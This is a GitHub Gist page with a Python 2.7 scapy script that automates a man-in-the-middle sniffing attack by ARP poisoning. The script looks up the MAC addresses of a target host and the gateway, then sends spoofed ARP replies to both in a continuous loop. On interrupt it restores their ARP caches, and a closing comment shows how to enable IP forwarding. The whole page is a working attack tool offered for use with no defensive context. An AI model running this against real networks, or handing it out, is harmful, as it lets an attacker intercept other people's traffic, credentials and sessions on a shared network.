Skip to content

Instantly share code, notes, and snippets.

@rbn15
Created August 11, 2019 09:51
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save rbn15/bc054f9a84489dbdfc35d333e3d63c87 to your computer and use it in GitHub Desktop.
Save rbn15/bc054f9a84489dbdfc35d333e3d63c87 to your computer and use it in GitHub Desktop.
Written python2.7, the program automates the process of MITM sniffing attack using ARP poisoning.
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print "ARP Table restored to normal for", targetip
def main():
targetip= raw_input("Enter Target IP:")
gatewayip= raw_input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print "Target MAC", targetmac
except:
print "Target machine did not respond to ARP broadcast"
quit()
try:
gatewaymac= getmac(gatewayip)
print "Gateway MAC:", gatewaymac
except:
print "Gateway is unreachable"
quit()
try:
print "Sending spoofed ARP responses"
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print "ARP spoofing stopped"
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment